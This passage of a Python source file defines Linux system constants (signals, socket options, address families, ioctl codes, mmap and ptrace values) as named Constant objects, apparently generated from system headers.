Constant('UINT_FAST16_MAX',0xffffffffffffffff)\nINT_FAST32_MIN = Constant('INT_FAST32_MIN',(-1 - (9223372036854775807)))\nINT_FAST32_MAX = Constant('INT_FAST32_MAX',(9223372036854775807))\nUINT_FAST32_MAX = Constant('UINT_FAST32_MAX',0xffffffffffffffff)\nWINT_MIN = Constant('WINT_MIN',0)\n__FSUID_H = Constant('__FSUID_H',1)\nNSIG = Constant('NSIG',32)\n_NSIG = Constant('_NSIG',65)\nSIGHUP = Constant('SIGHUP',1)\nSIGINT = Constant('SIGINT',2)\nSIGQUIT = Constant('SIGQUIT',3)\nSIGILL = Constant('SIGILL',4)\nSIGTRAP = Constant('SIGTRAP',5)\nSIGABRT = Constant('SIGABRT',6)\nSIGIOT = Constant('SIGIOT',6)\nSIGFPE = Constant('SIGFPE',8)\nSIGKILL = Constant('SIGKILL',9)\nSIGSEGV = Constant('SIGSEGV',11)\nSIGPIPE = Constant('SIGPIPE',13)\nSIGALRM = Constant('SIGALRM',14)\nSIGTERM = Constant('SIGTERM',15)\nSIGUNUSED = Constant('SIGUNUSED',31)\nSIGRTMIN = Constant('SIGRTMIN',32)\nSIGRTMAX = Constant('SIGRTMAX',(65-1))\nSA_NOCLDSTOP = Constant('SA_NOCLDSTOP',0x00000001)\nSA_NOCLDWAIT = Constant('SA_NOCLDWAIT',0x00000002)\nSA_SIGINFO = Constant('SA_SIGINFO',0x00000004)\nSA_RESTORER = Constant('SA_RESTORER',0x04000000)\nSA_ONSTACK = Constant('SA_ONSTACK',0x08000000)\nSA_RESTART = Constant('SA_RESTART',0x10000000)\nSA_INTERRUPT = Constant('SA_INTERRUPT',0x20000000)\nSA_NODEFER = Constant('SA_NODEFER',0x40000000)\nSA_RESETHAND = Constant('SA_RESETHAND',0x80000000)\nSA_NOMASK = Constant('SA_NOMASK',0x40000000)\nSA_ONESHOT = Constant('SA_ONESHOT',0x80000000)\nSS_ONSTACK = Constant('SS_ONSTACK',1)\nSS_DISABLE = Constant('SS_DISABLE',2)\nMINSIGSTKSZ = Constant('MINSIGSTKSZ',2048)\nSIGSTKSZ = Constant('SIGSTKSZ',8192)\nSIG_BLOCK = Constant('SIG_BLOCK',0)\nSIG_UNBLOCK = Constant('SIG_UNBLOCK',1)\nSIG_SETMASK = Constant('SIG_SETMASK',2)\nSI_MAX_SIZE = Constant('SI_MAX_SIZE',128)\nSIGEV_SIGNAL = Constant('SIGEV_SIGNAL',0)\nSIGEV_NONE = Constant('SIGEV_NONE',1)\nSIGEV_THREAD = Constant('SIGEV_THREAD',2)\nSIGEV_THREAD_ID = Constant('SIGEV_THREAD_ID',4)\nSIGEV_MAX_SIZE = Constant('SIGEV_MAX_SIZE',64)\n_SYS_TIME_H = Constant('_SYS_TIME_H',1)\nITIMER_REAL = Constant('ITIMER_REAL',0)\nITIMER_VIRTUAL = Constant('ITIMER_VIRTUAL',1)\nITIMER_PROF = Constant('ITIMER_PROF',2)\nFD_SETSIZE = Constant('FD_SETSIZE',1024)\nR_OK = Constant('R_OK',4)\nW_OK = Constant('W_OK',2)\nX_OK = Constant('X_OK',1)\nF_OK = Constant('F_OK',0)\nSEEK_SET = Constant('SEEK_SET',0)\nSEEK_CUR = Constant('SEEK_CUR',1)\nSEEK_END = Constant('SEEK_END',2)\nSTDIN_FILENO = Constant('STDIN_FILENO',0)\nSTDOUT_FILENO = Constant('STDOUT_FILENO',1)\nSTDERR_FILENO = Constant('STDERR_FILENO',2)\n_CS_PATH = Constant('_CS_PATH',1)\n_SC_CLK_TCK = Constant('_SC_CLK_TCK',1)\n_SC_ARG_MAX = Constant('_SC_ARG_MAX',2)\n_SC_NGROUPS_MAX = Constant('_SC_NGROUPS_MAX',3)\n_SC_OPEN_MAX = Constant('_SC_OPEN_MAX',4)\n_SC_PAGESIZE = Constant('_SC_PAGESIZE',5)\n_SC_NPROCESSORS_ONLN = Constant('_SC_NPROCESSORS_ONLN',6)\n_SC_NPROCESSORS_CONF = Constant('_SC_NPROCESSORS_CONF',6)\n_SC_PHYS_PAGES = Constant('_SC_PHYS_PAGES',7)\n_SC_GETPW_R_SIZE_MAX = Constant('_SC_GETPW_R_SIZE_MAX',8)\n_SC_GETGR_R_SIZE_MAX = Constant('_SC_GETGR_R_SIZE_MAX',9)\n_PC_PATH_MAX = Constant('_PC_PATH_MAX',1)\n_PC_VDISABLE = Constant('_PC_VDISABLE',2)\nL_cuserid = Constant('L_cuserid',17)\n_POSIX_VERSION = Constant('_POSIX_VERSION',199506)\nF_ULOCK = Constant('F_ULOCK',0)\nF_LOCK = Constant('F_LOCK',1)\nF_TLOCK = Constant('F_TLOCK',2)\nF_TEST = Constant('F_TEST',3)\n_POSIX_MAPPED_FILES = Constant('_POSIX_MAPPED_FILES',200809)\nS_IFMT = Constant('S_IFMT',0o0170000)\nS_IFSOCK = Constant('S_IFSOCK',0o140000)\nS_IFLNK = Constant('S_IFLNK',0o120000)\nS_IFREG = Constant('S_IFREG',0o100000)\nS_IFBLK = Constant('S_IFBLK',0o060000)\nS_IFDIR = Constant('S_IFDIR',0o040000)\nS_IFCHR = Constant('S_IFCHR',0o020000)\nS_IFIFO = Constant('S_IFIFO',0o010000)\nS_ISUID = Constant('S_ISUID',0o004000)\nS_ISGID = Constant('S_ISGID',0o002000)\nS_ISVTX = Constant('S_ISVTX',0o001000)\nS_IRWXU = Constant('S_IRWXU',0o0700)\nS_IRUSR = Constant('S_IRUSR',0o0400)\nS_IWUSR = Constant('S_IWUSR',0o0200)\nS_IXUSR = Constant('S_IXUSR',0o0100)\nS_IRWXG = Constant('S_IRWXG',0o0070)\nS_IRGRP = Constant('S_IRGRP',0o0040)\nS_IWGRP = Constant('S_IWGRP',0o0020)\nS_IXGRP = Constant('S_IXGRP',0o0010)\nS_IRWXO = Constant('S_IRWXO',0o0007)\nS_IROTH = Constant('S_IROTH',0o0004)\nS_IWOTH = Constant('S_IWOTH',0o0002)\nS_IXOTH = Constant('S_IXOTH',0o0001)\nS_IREAD = Constant('S_IREAD',0o0400)\nS_IWRITE = Constant('S_IWRITE',0o0200)\nS_IEXEC = Constant('S_IEXEC',0o0100)\n_SYS_UIO = Constant('_SYS_UIO',1)\nSOL_SOCKET = Constant('SOL_SOCKET',1)\nSO_DEBUG = Constant('SO_DEBUG',1)\nSO_REUSEADDR = Constant('SO_REUSEADDR',2)\nSO_TYPE = Constant('SO_TYPE',3)\nSO_ERROR = Constant('SO_ERROR',4)\nSO_DONTROUTE = Constant('SO_DONTROUTE',5)\nSO_BROADCAST = Constant('SO_BROADCAST',6)\nSO_SNDBUF = Constant('SO_SNDBUF',7)\nSO_RCVBUF = Constant('SO_RCVBUF',8)\nSO_KEEPALIVE = Constant('SO_KEEPALIVE',9)\nSO_OOBINLINE = Constant('SO_OOBINLINE',10)\nSO_NO_CHECK = Constant('SO_NO_CHECK',11)\nSO_PRIORITY = Constant('SO_PRIORITY',12)\nSO_LINGER = Constant('SO_LINGER',13)\nSO_BSDCOMPAT = Constant('SO_BSDCOMPAT',14)\nSO_REUSEPORT = Constant('SO_REUSEPORT',15)\nSO_PASSCRED = Constant('SO_PASSCRED',16)\nSO_PEERCRED = Constant('SO_PEERCRED',17)\nSO_RCVLOWAT = Constant('SO_RCVLOWAT',18)\nSO_SNDLOWAT = Constant('SO_SNDLOWAT',19)\nSO_RCVTIMEO = Constant('SO_RCVTIMEO',20)\nSO_SNDTIMEO = Constant('SO_SNDTIMEO',21)\nSO_SECURITY_AUTHENTICATION = Constant('SO_SECURITY_AUTHENTICATION',22)\nSO_SECURITY_ENCRYPTION_TRANSPORT = Constant('SO_SECURITY_ENCRYPTION_TRANSPORT',23)\nSO_SECURITY_ENCRYPTION_NETWORK = Constant('SO_SECURITY_ENCRYPTION_NETWORK',24)\nSO_BINDTODEVICE = Constant('SO_BINDTODEVICE',25)\nSO_ATTACH_FILTER = Constant('SO_ATTACH_FILTER',26)\nSO_DETACH_FILTER = Constant('SO_DETACH_FILTER',27)\nSO_GET_FILTER = Constant('SO_GET_FILTER',26)\nSO_PEERNAME = Constant('SO_PEERNAME',28)\nSO_TIMESTAMP = Constant('SO_TIMESTAMP',29)\nSCM_TIMESTAMP = Constant('SCM_TIMESTAMP',29)\nSO_ACCEPTCONN = Constant('SO_ACCEPTCONN',30)\nSO_PEERSEC = Constant('SO_PEERSEC',31)\nSO_SNDBUFFORCE = Constant('SO_SNDBUFFORCE',32)\nSO_RCVBUFFORCE = Constant('SO_RCVBUFFORCE',33)\nSO_PASSSEC = Constant('SO_PASSSEC',34)\nSO_TIMESTAMPNS = Constant('SO_TIMESTAMPNS',35)\nSCM_TIMESTAMPNS = Constant('SCM_TIMESTAMPNS',35)\nSO_MARK = Constant('SO_MARK',36)\nSO_TIMESTAMPING = Constant('SO_TIMESTAMPING',37)\nSCM_TIMESTAMPING = Constant('SCM_TIMESTAMPING',37)\nSO_PROTOCOL = Constant('SO_PROTOCOL',38)\nSO_DOMAIN = Constant('SO_DOMAIN',39)\nSO_RXQ_OVFL = Constant('SO_RXQ_OVFL',40)\nSO_WIFI_STATUS = Constant('SO_WIFI_STATUS',41)\nSCM_WIFI_STATUS = Constant('SCM_WIFI_STATUS',41)\nSO_PEEK_OFF = Constant('SO_PEEK_OFF',42)\nSO_NOFCS = Constant('SO_NOFCS',43)\nSO_LOCK_FILTER = Constant('SO_LOCK_FILTER',44)\nSO_SELECT_ERR_QUEUE = Constant('SO_SELECT_ERR_QUEUE',45)\nSO_BUSY_POLL = Constant('SO_BUSY_POLL',46)\nSO_MAX_PACING_RATE = Constant('SO_MAX_PACING_RATE',47)\nSO_BPF_EXTENSIONS = Constant('SO_BPF_EXTENSIONS',48)\nSO_INCOMING_CPU = Constant('SO_INCOMING_CPU',49)\nSO_ATTACH_BPF = Constant('SO_ATTACH_BPF',50)\nSO_DETACH_BPF = Constant('SO_DETACH_BPF',27)\nSO_ATTACH_REUSEPORT_CBPF = Constant('SO_ATTACH_REUSEPORT_CBPF',51)\nSO_ATTACH_REUSEPORT_EBPF = Constant('SO_ATTACH_REUSEPORT_EBPF',52)\nSO_CNX_ADVICE = Constant('SO_CNX_ADVICE',53)\nSCM_TIMESTAMPING_OPT_STATS = Constant('SCM_TIMESTAMPING_OPT_STATS',54)\nSO_MEMINFO = Constant('SO_MEMINFO',55)\nSO_INCOMING_NAPI_ID = Constant('SO_INCOMING_NAPI_ID',56)\nSO_COOKIE = Constant('SO_COOKIE',57)\nSCM_TIMESTAMPING_PKTINFO = Constant('SCM_TIMESTAMPING_PKTINFO',58)\nSO_PEERGROUPS = Constant('SO_PEERGROUPS',59)\nSO_ZEROCOPY = Constant('SO_ZEROCOPY',60)\nSOCK_STREAM = Constant('SOCK_STREAM',1)\nSOCK_DGRAM = Constant('SOCK_DGRAM',2)\nSOCK_RAW = Constant('SOCK_RAW',3)\nSOCK_RDM = Constant('SOCK_RDM',4)\nSOCK_SEQPACKET = Constant('SOCK_SEQPACKET',5)\nSOCK_DCCP = Constant('SOCK_DCCP',6)\nSOCK_PACKET = Constant('SOCK_PACKET',10)\nUIO_FASTIOV = Constant('UIO_FASTIOV',8)\nUIO_MAXIOV = Constant('UIO_MAXIOV',1024)\nSCM_RIGHTS = Constant('SCM_RIGHTS',0x01)\nSCM_CREDENTIALS = Constant('SCM_CREDENTIALS',0x02)\nSCM_CONNECT = Constant('SCM_CONNECT',0x03)\nAF_UNSPEC = Constant('AF_UNSPEC',0)\nAF_UNIX = Constant('AF_UNIX',1)\nAF_LOCAL = Constant('AF_LOCAL',1)\nAF_INET = Constant('AF_INET',2)\nAF_AX25 = Constant('AF_AX25',3)\nAF_IPX = Constant('AF_IPX',4)\nAF_APPLETALK = Constant('AF_APPLETALK',5)\nAF_NETROM = Constant('AF_NETROM',6)\nAF_BRIDGE = Constant('AF_BRIDGE',7)\nAF_ATMPVC = Constant('AF_ATMPVC',8)\nAF_X25 = Constant('AF_X25',9)\nAF_INET6 = Constant('AF_INET6',10)\nAF_ROSE = Constant('AF_ROSE',11)\nAF_DECnet = Constant('AF_DECnet',12)\nAF_NETBEUI = Constant('AF_NETBEUI',13)\nAF_SECURITY = Constant('AF_SECURITY',14)\nAF_KEY = Constant('AF_KEY',15)\nAF_NETLINK = Constant('AF_NETLINK',16)\nAF_ROUTE = Constant('AF_ROUTE',16)\nAF_PACKET = Constant('AF_PACKET',17)\nAF_ASH = Constant('AF_ASH',18)\nAF_ECONET = Constant('AF_ECONET',19)\nAF_ATMSVC = Constant('AF_ATMSVC',20)\nAF_SNA = Constant('AF_SNA',22)\nAF_IRDA = Constant('AF_IRDA',23)\nAF_PPPOX = Constant('AF_PPPOX',24)\nAF_WANPIPE = Constant('AF_WANPIPE',25)\nAF_LLC = Constant('AF_LLC',26)\nAF_IB = Constant('AF_IB',27)\nAF_MPLS = Constant('AF_MPLS',28)\nAF_CAN = Constant('AF_CAN',29)\nAF_TIPC = Constant('AF_TIPC',30)\nAF_BLUETOOTH = Constant('AF_BLUETOOTH',31)\nAF_IUCV = Constant('AF_IUCV',32)\nAF_RXRPC = Constant('AF_RXRPC',33)\nAF_ISDN = Constant('AF_ISDN',34)\nAF_PHONET = Constant('AF_PHONET',35)\nAF_IEEE802154 = Constant('AF_IEEE802154',36)\nAF_CAIF = Constant('AF_CAIF',37)\nAF_ALG = Constant('AF_ALG',38)\nAF_NFC = Constant('AF_NFC',39)\nAF_VSOCK = Constant('AF_VSOCK',40)\nAF_KCM = Constant('AF_KCM',41)\nAF_QIPCRTR = Constant('AF_QIPCRTR',42)\nAF_SMC = Constant('AF_SMC',43)\nAF_MAX = Constant('AF_MAX',44)\nPF_UNSPEC = Constant('PF_UNSPEC',0)\nPF_UNIX = Constant('PF_UNIX',1)\nPF_LOCAL = Constant('PF_LOCAL',1)\nPF_INET = Constant('PF_INET',2)\nPF_AX25 = Constant('PF_AX25',3)\nPF_IPX = Constant('PF_IPX',4)\nPF_APPLETALK = Constant('PF_APPLETALK',5)\nPF_NETROM = Constant('PF_NETROM',6)\nPF_BRIDGE = Constant('PF_BRIDGE',7)\nPF_ATMPVC = Constant('PF_ATMPVC',8)\nPF_X25 = Constant('PF_X25',9)\nPF_INET6 = Constant('PF_INET6',10)\nPF_ROSE = Constant('PF_ROSE',11)\nPF_DECnet = Constant('PF_DECnet',12)\nPF_NETBEUI = Constant('PF_NETBEUI',13)\nPF_SECURITY = Constant('PF_SECURITY',14)\nPF_KEY = Constant('PF_KEY',15)\nPF_NETLINK = Constant('PF_NETLINK',16)\nPF_ROUTE = Constant('PF_ROUTE',16)\nPF_PACKET = Constant('PF_PACKET',17)\nPF_ASH = Constant('PF_ASH',18)\nPF_ECONET = Constant('PF_ECONET',19)\nPF_ATMSVC = Constant('PF_ATMSVC',20)\nPF_SNA = Constant('PF_SNA',22)\nPF_IRDA = Constant('PF_IRDA',23)\nPF_PPPOX = Constant('PF_PPPOX',24)\nPF_WANPIPE = Constant('PF_WANPIPE',25)\nPF_LLC = Constant('PF_LLC',26)\nPF_IB = Constant('PF_IB',27)\nPF_MPLS = Constant('PF_MPLS',28)\nPF_CAN = Constant('PF_CAN',29)\nPF_TIPC = Constant('PF_TIPC',30)\nPF_BLUETOOTH = Constant('PF_BLUETOOTH',31)\nPF_IUCV = Constant('PF_IUCV',32)\nPF_RXRPC = Constant('PF_RXRPC',33)\nPF_ISDN = Constant('PF_ISDN',34)\nPF_PHONET = Constant('PF_PHONET',35)\nPF_IEEE802154 = Constant('PF_IEEE802154',36)\nPF_CAIF = Constant('PF_CAIF',37)\nPF_ALG = Constant('PF_ALG',38)\nPF_NFC = Constant('PF_NFC',39)\nPF_VSOCK = Constant('PF_VSOCK',40)\nPF_KCM = Constant('PF_KCM',41)\nPF_QIPCRTR = Constant('PF_QIPCRTR',42)\nPF_SMC = Constant('PF_SMC',43)\nPF_MAX = Constant('PF_MAX',44)\nSOMAXCONN = Constant('SOMAXCONN',128)\nMSG_OOB = Constant('MSG_OOB',1)\nMSG_PEEK = Constant('MSG_PEEK',2)\nMSG_DONTROUTE = Constant('MSG_DONTROUTE',4)\nMSG_TRYHARD = Constant('MSG_TRYHARD',4)\nMSG_CTRUNC = Constant('MSG_CTRUNC',8)\nMSG_PROBE = Constant('MSG_PROBE',0x10)\nMSG_TRUNC = Constant('MSG_TRUNC',0x20)\nMSG_DONTWAIT = Constant('MSG_DONTWAIT',0x40)\nMSG_EOR = Constant('MSG_EOR',0x80)\nMSG_WAITALL = Constant('MSG_WAITALL',0x100)\nMSG_FIN = Constant('MSG_FIN',0x200)\nMSG_SYN = Constant('MSG_SYN',0x400)\nMSG_CONFIRM = Constant('MSG_CONFIRM',0x800)\nMSG_RST = Constant('MSG_RST',0x1000)\nMSG_ERRQUEUE = Constant('MSG_ERRQUEUE',0x2000)\nMSG_NOSIGNAL = Constant('MSG_NOSIGNAL',0x4000)\nMSG_MORE = Constant('MSG_MORE',0x8000)\nMSG_WAITFORONE = Constant('MSG_WAITFORONE',0x10000)\nMSG_SENDPAGE_NOTLAST = Constant('MSG_SENDPAGE_NOTLAST',0x20000)\nMSG_BATCH = Constant('MSG_BATCH',0x40000)\nMSG_EOF = Constant('MSG_EOF',0x200)\nMSG_ZEROCOPY = Constant('MSG_ZEROCOPY',0x4000000)\nMSG_FASTOPEN = Constant('MSG_FASTOPEN',0x20000000)\nMSG_CMSG_CLOEXEC = Constant('MSG_CMSG_CLOEXEC',0x40000000)\nSOL_IP = Constant('SOL_IP',0)\nSOL_TCP = Constant('SOL_TCP',6)\nSOL_UDP = Constant('SOL_UDP',17)\nSOL_IPV6 = Constant('SOL_IPV6',41)\nSOL_ICMPV6 = Constant('SOL_ICMPV6',58)\nSOL_SCTP = Constant('SOL_SCTP',132)\nSOL_UDPLITE = Constant('SOL_UDPLITE',136)\nSOL_RAW = Constant('SOL_RAW',255)\nSOL_IPX = Constant('SOL_IPX',256)\nSOL_AX25 = Constant('SOL_AX25',257)\nSOL_ATALK = Constant('SOL_ATALK',258)\nSOL_NETROM = Constant('SOL_NETROM',259)\nSOL_ROSE = Constant('SOL_ROSE',260)\nSOL_DECNET = Constant('SOL_DECNET',261)\nSOL_X25 = Constant('SOL_X25',262)\nSOL_PACKET = Constant('SOL_PACKET',263)\nSOL_ATM = Constant('SOL_ATM',264)\nSOL_AAL = Constant('SOL_AAL',265)\nSOL_IRDA = Constant('SOL_IRDA',266)\nSOL_NETBEUI = Constant('SOL_NETBEUI',267)\nSOL_LLC = Constant('SOL_LLC',268)\nSOL_DCCP = Constant('SOL_DCCP',269)\nSOL_NETLINK = Constant('SOL_NETLINK',270)\nSOL_TIPC = Constant('SOL_TIPC',271)\nSOL_RXRPC = Constant('SOL_RXRPC',272)\nSOL_PPPOL2TP = Constant('SOL_PPPOL2TP',273)\nSOL_BLUETOOTH = Constant('SOL_BLUETOOTH',274)\nSOL_PNPIPE = Constant('SOL_PNPIPE',275)\nSOL_RDS = Constant('SOL_RDS',276)\nSOL_IUCV = Constant('SOL_IUCV',277)\nSOL_CAIF = Constant('SOL_CAIF',278)\nSOL_ALG = Constant('SOL_ALG',279)\nSOL_NFC = Constant('SOL_NFC',280)\nSOL_KCM = Constant('SOL_KCM',281)\nSOL_TLS = Constant('SOL_TLS',282)\nIPX_TYPE = Constant('IPX_TYPE',1)\nSHUT_RD = Constant('SHUT_RD',0)\nSHUT_WR = Constant('SHUT_WR',1)\nSHUT_RDWR = Constant('SHUT_RDWR',2)\nNI_NOFQDN = Constant('NI_NOFQDN',1)\nNI_NUMERICHOST = Constant('NI_NUMERICHOST',2)\nNI_NAMEREQD = Constant('NI_NAMEREQD',4)\nNI_NUMERICSERV = Constant('NI_NUMERICSERV',8)\nNI_DGRAM = Constant('NI_DGRAM',16)\nEAI_FAMILY = Constant('EAI_FAMILY',-1)\nEAI_SOCKTYPE = Constant('EAI_SOCKTYPE',-2)\nEAI_BADFLAGS = Constant('EAI_BADFLAGS',-3)\nEAI_NONAME = Constant('EAI_NONAME',-4)\nEAI_SERVICE = Constant('EAI_SERVICE',-5)\nEAI_ADDRFAMILY = Constant('EAI_ADDRFAMILY',-6)\nEAI_NODATA = Constant('EAI_NODATA',-7)\nEAI_MEMORY = Constant('EAI_MEMORY',-8)\nEAI_FAIL = Constant('EAI_FAIL',-9)\nEAI_AGAIN = Constant('EAI_AGAIN',-10)\nEAI_SYSTEM = Constant('EAI_SYSTEM',-11)\nAI_NUMERICHOST = Constant('AI_NUMERICHOST',1)\nAI_CANONNAME = Constant('AI_CANONNAME',2)\nAI_PASSIVE = Constant('AI_PASSIVE',4)\nAI_NUMERICSERV = Constant('AI_NUMERICSERV',8)\nAI_ADDRCONFIG = Constant('AI_ADDRCONFIG',16)\nAI_V4MAPPED = Constant('AI_V4MAPPED',32)\nAI_ALL = Constant('AI_ALL',64)\nSIOCADDRT = Constant('SIOCADDRT',0x890B)\nSIOCDELRT = Constant('SIOCDELRT',0x890C)\nSIOCRTMSG = Constant('SIOCRTMSG',0x890D)\nSIOCGIFNAME = Constant('SIOCGIFNAME',0x8910)\nSIOCSIFLINK = Constant('SIOCSIFLINK',0x8911)\nSIOCGIFCONF = Constant('SIOCGIFCONF',0x8912)\nSIOCGIFFLAGS = Constant('SIOCGIFFLAGS',0x8913)\nSIOCSIFFLAGS = Constant('SIOCSIFFLAGS',0x8914)\nSIOCGIFADDR = Constant('SIOCGIFADDR',0x8915)\nSIOCSIFADDR = Constant('SIOCSIFADDR',0x8916)\nSIOCGIFDSTADDR = Constant('SIOCGIFDSTADDR',0x8917)\nSIOCSIFDSTADDR = Constant('SIOCSIFDSTADDR',0x8918)\nSIOCGIFBRDADDR = Constant('SIOCGIFBRDADDR',0x8919)\nSIOCSIFBRDADDR = Constant('SIOCSIFBRDADDR',0x891a)\nSIOCGIFNETMASK = Constant('SIOCGIFNETMASK',0x891b)\nSIOCSIFNETMASK = Constant('SIOCSIFNETMASK',0x891c)\nSIOCGIFMETRIC = Constant('SIOCGIFMETRIC',0x891d)\nSIOCSIFMETRIC = Constant('SIOCSIFMETRIC',0x891e)\nSIOCGIFMEM = Constant('SIOCGIFMEM',0x891f)\nSIOCSIFMEM = Constant('SIOCSIFMEM',0x8920)\nSIOCGIFMTU = Constant('SIOCGIFMTU',0x8921)\nSIOCSIFMTU = Constant('SIOCSIFMTU',0x8922)\nSIOCSIFNAME = Constant('SIOCSIFNAME',0x8923)\nSIOCSIFHWADDR = Constant('SIOCSIFHWADDR',0x8924)\nSIOCGIFENCAP = Constant('SIOCGIFENCAP',0x8925)\nSIOCSIFENCAP = Constant('SIOCSIFENCAP',0x8926)\nSIOCGIFHWADDR = Constant('SIOCGIFHWADDR',0x8927)\nSIOCGIFSLAVE = Constant('SIOCGIFSLAVE',0x8929)\nSIOCSIFSLAVE = Constant('SIOCSIFSLAVE',0x8930)\nSIOCADDMULTI = Constant('SIOCADDMULTI',0x8931)\nSIOCDELMULTI = Constant('SIOCDELMULTI',0x8932)\nSIOCGIFINDEX = Constant('SIOCGIFINDEX',0x8933)\nSIOGIFINDEX = Constant('SIOGIFINDEX',0x8933)\nSIOCSIFPFLAGS = Constant('SIOCSIFPFLAGS',0x8934)\nSIOCGIFPFLAGS = Constant('SIOCGIFPFLAGS',0x8935)\nSIOCDIFADDR = Constant('SIOCDIFADDR',0x8936)\nSIOCSIFHWBROADCAST = Constant('SIOCSIFHWBROADCAST',0x8937)\nSIOCGIFCOUNT = Constant('SIOCGIFCOUNT',0x8938)\nSIOCGIFBR = Constant('SIOCGIFBR',0x8940)\nSIOCSIFBR = Constant('SIOCSIFBR',0x8941)\nSIOCGIFTXQLEN = Constant('SIOCGIFTXQLEN',0x8942)\nSIOCSIFTXQLEN = Constant('SIOCSIFTXQLEN',0x8943)\nSIOCGIFDIVERT = Constant('SIOCGIFDIVERT',0x8944)\nSIOCSIFDIVERT = Constant('SIOCSIFDIVERT',0x8945)\nSIOCETHTOOL = Constant('SIOCETHTOOL',0x8946)\nSIOCDARP = Constant('SIOCDARP',0x8953)\nSIOCGARP = Constant('SIOCGARP',0x8954)\nSIOCSARP = Constant('SIOCSARP',0x8955)\nSIOCDRARP = Constant('SIOCDRARP',0x8960)\nSIOCGRARP = Constant('SIOCGRARP',0x8961)\nSIOCSRARP = Constant('SIOCSRARP',0x8962)\nSIOCGIFMAP = Constant('SIOCGIFMAP',0x8970)\nSIOCSIFMAP = Constant('SIOCSIFMAP',0x8971)\nSIOCADDDLCI = Constant('SIOCADDDLCI',0x8980)\nSIOCDELDLCI = Constant('SIOCDELDLCI',0x8981)\nSIOCDEVPRIVATE = Constant('SIOCDEVPRIVATE',0x89F0)\nF_LINUX_SPECIFIC_BASE = Constant('F_LINUX_SPECIFIC_BASE',1024)\nF_SETOWN_EX = Constant('F_SETOWN_EX',15)\nF_GETOWN_EX = Constant('F_GETOWN_EX',16)\nF_GETOWNER_UIDS = Constant('F_GETOWNER_UIDS',17)\nF_OFD_GETLK = Constant('F_OFD_GETLK',36)\nF_OFD_SETLK = Constant('F_OFD_SETLK',37)\nF_OFD_SETLKW = Constant('F_OFD_SETLKW',38)\nF_OWNER_TID = Constant('F_OWNER_TID',0)\nF_OWNER_PID = Constant('F_OWNER_PID',1)\nF_OWNER_PGRP = Constant('F_OWNER_PGRP',2)\nAT_FDCWD = Constant('AT_FDCWD',-100)\nAT_SYMLINK_NOFOLLOW = Constant('AT_SYMLINK_NOFOLLOW',0x100)\nAT_REMOVEDIR = Constant('AT_REMOVEDIR',0x200)\nAT_SYMLINK_FOLLOW = Constant('AT_SYMLINK_FOLLOW',0x400)\nAT_NO_AUTOMOUNT = Constant('AT_NO_AUTOMOUNT',0x800)\nAT_EMPTY_PATH = Constant('AT_EMPTY_PATH',0x1000)\nAT_EACCESS = Constant('AT_EACCESS',0x200)\nMREMAP_MAYMOVE = Constant('MREMAP_MAYMOVE',1)\nMREMAP_FIXED = Constant('MREMAP_FIXED',2)\nPROT_READ = Constant('PROT_READ',0x1)\nPROT_WRITE = Constant('PROT_WRITE',0x2)\nPROT_EXEC = Constant('PROT_EXEC',0x4)\nPROT_SEM = Constant('PROT_SEM',0x8)\nPROT_NONE = Constant('PROT_NONE',0x0)\nPROT_GROWSDOWN = Constant('PROT_GROWSDOWN',0x01000000)\nPROT_GROWSUP = Constant('PROT_GROWSUP',0x02000000)\nMAP_SHARED = Constant('MAP_SHARED',0x01)\nMAP_PRIVATE = Constant('MAP_PRIVATE',0x02)\nMAP_TYPE = Constant('MAP_TYPE',0xf)\nMADV_REMOVE = Constant('MADV_REMOVE',9)\nMADV_DONTFORK = Constant('MADV_DONTFORK',10)\nMADV_DOFORK = Constant('MADV_DOFORK',11)\nMADV_MERGEABLE = Constant('MADV_MERGEABLE',12)\nMADV_UNMERGEABLE = Constant('MADV_UNMERGEABLE',13)\nMADV_HUGEPAGE = Constant('MADV_HUGEPAGE',14)\nMADV_NOHUGEPAGE = Constant('MADV_NOHUGEPAGE',15)\nMADV_DONTDUMP = Constant('MADV_DONTDUMP',16)\nMADV_DODUMP = Constant('MADV_DODUMP',17)\nMADV_HWPOISON = Constant('MADV_HWPOISON',100)\nMADV_SOFT_OFFLINE = Constant('MADV_SOFT_OFFLINE',101)\nMLOCK_ONFAULT = Constant('MLOCK_ONFAULT',1)\nMAP_FILE = Constant('MAP_FILE',0)\nPTRACE_TRACEME = Constant('PTRACE_TRACEME',0)\nPTRACE_PEEKTEXT = Constant('PTRACE_PEEKTEXT',1)\nPTRACE_PEEKDATA = Constant('PTRACE_PEEKDATA',2)\nPTRACE_PEEKUSR = Constant('PTRACE_PEEKUSR',3)\nPTRACE_PEEKUSER = Constant('PTRACE_PEEKUSER',3)\nPTRACE_POKETEXT = Constant('PTRACE_POKETEXT',4)\nPTRACE_POKEDATA = Constant('PTRACE_POKEDATA',5)\nPTRACE_POKEUSR = Constant('PTRACE_POKEUSR',6)\nPTRACE_POKEUSER = Constant('PTRACE_POKEUSER',6)\nPTRACE_CONT = Constant('PTRACE_CONT',7)\nPTRACE_KILL = Constant('PTRACE_KILL',8)\nPTRACE_SINGLESTEP = Constant('PTRACE_SINGLESTEP',9)\nPTRACE_ATTACH = Constant('PTRACE_ATTACH',0x10)\nPTRACE_DETACH = Constant('PTRACE_DETACH',0x11)\nPTRACE_SYSCALL = Constant('PTRACE_SYSCALL',24)\nPTRACE_GETEVENTMSG = Constant('PTRACE_GETEVENTMSG',0x4201)\nPTRACE_GETSIGINFO = Constant('PTRACE_GETSIGINFO',0x4202)\nPTRACE_SETSIGINFO = Constant('PTRACE_SETSIGINFO',0x4203)\nPTRACE_O_TRACESYSGOOD = Constant('PTRACE_O_TRACESYSGOOD',0x00000001)\nPTRACE_O_TRACEFORK = Constant('PTRACE_O_TRACEFORK',0x00000002)\nPTRACE_O_TRACEVFORK = Constant('PTRACE_O_TRACEVFORK',0x00000004)\nPTRACE_O_TRACECLONE = Constant('PTRACE_O_TRACECLONE',0x00000008)\nPTRACE_O_TRACEEXEC = Constant('PTRACE_O_TRACEEXEC',0x00000010)\nPTRACE_O_TRACEVFORKDONE = Constant('PTRACE_O_TRACEVFORKDONE',0x00000020)\nPTRACE_O_TRACEEXIT = Constant('PTRACE_O_TRACEEXIT',0x00000040)\nPTRACE_O_MASK = Constant('PTRACE_O_MASK',0x0000007f)\nPTRACE_EVENT_FORK = Constant('PTRACE_EVENT_FORK',1)\nPTRACE_EVENT_VFORK = Constant('PTRACE_EVENT_VFORK',2)\nPTRACE_EVENT_CLONE = Constant('PTRACE_EVENT_CLONE',3)\nPTRACE_EVENT_EXEC = Constant('PTRACE_EVENT_EXEC',4)\nPTRACE_EVENT_VFORK_DONE = 